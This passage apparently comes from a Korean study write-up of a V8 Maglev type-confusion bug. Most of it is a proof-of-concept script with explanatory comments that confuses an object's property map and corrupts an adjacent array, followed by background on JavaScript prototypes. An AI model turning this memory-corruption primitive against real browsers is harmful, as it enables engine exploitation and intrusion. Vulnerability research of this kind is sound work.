행하게 되면

PoC

// run with: `/d8 --allow-natives-syntax --maglev --expose-gc --soft-abort --trace-deopt 22.mjs`
import * as ns from "./22.mjs";

export let c = 0;

function to_fast(o) {
  var dummy = {'unique':5};
  dummy.__proto__ = o; // 프로토타입 설정                                                                                                                                                                                                              
  dummy.__proto__ = o; // OptimizeAsFastPrototype
} // V8 엔진의 특성을 이용해 최적화
to_fast(ns);

function store(target, v) {
  target.c = v; // target에 c 속성 추가 거기에 v를 할당
} // 거기에 v를 할당 만약 부모클래스에 c가 존재하면 그 값을 바꿈

function createObject() {
  let a = {}; // a라는 빈 객체 생성
  a.i1 = 1; // a 객체에 i1 이라는 속성를 생성하고 값을 1로 설정
  a.i2 = 1;
  a.i3 = 1;
  a.i4 = 1;
  // -----------------
  for (let i = 0; i < 8; i++) {
	    a[`p${i}`] = 1; //p{i} 객체 생성 및 1 설정
  }
  return a; // 생성한 객체들을 반환
}

function init() {
  let a = createObject(); // a 객체 생성
  a.__proto__ = ns; // a의 부모 프로토타입(부모 객체)을 ns로 설정
  // %DebugPrint(a); // 디버깅 a
  return a;
}

(function() {
  %PrepareFunctionForOptimization(store); // 최적화 준비
  store(init(), 0);
  
  %OptimizeMaglevOnNextCall(store); // 최적화 시작
  store(init(), 0);
})();

function confuse_properties_map(arg) {
  store(arg, 0x1);
}

let a = init();
let arr = []; //arr 배열 생성
arr.push(1.1); // arr에 1.1 삽입 만약 console.log(arr); 시 [1.1] 이 출력됨
let arr2 = [{}]; // arr2 배열 생성 및 0번 째 인덱스에 객체를 요소로 넣음
confuse_properties_map(a);

gc(); // garbage collect 

// %DebugPrint(a);
// %DebugPrint(arr);

a.p5 = 1024;
a.p7 = 1024;
%DebugPrint(arr);

// %SystemBreak();

배경지식

프로토타입이란?

자바스크립트는 기존에 객체를 복사하여 새로운 객체를 생성하는 프로토타입 기반의 언어이다.

프로토타입 객체

자바스크립트의 모든 객체는 부모 역할을 하는 객체와 연결되어 있다. 이 부모 객체를 프로토타입 객체 또는 프로토타입이라고 한다.

prototype 프로퍼티와 [[ prototype ]] 프로퍼티

prototype 프로퍼티

[ [ Prototype ] ] / proto 프로퍼티

Prototype 프로퍼티는 함수의 입장에서 자신과 링크된 자식에게 물려줄 프로토타입 객체를 가리키고, proto 프로퍼티는 객체의 입장에서 자신의 부모 객체인 프로토타입 객체를 내부의 숨겨진 링크로 가지고 있는 것이다.

GC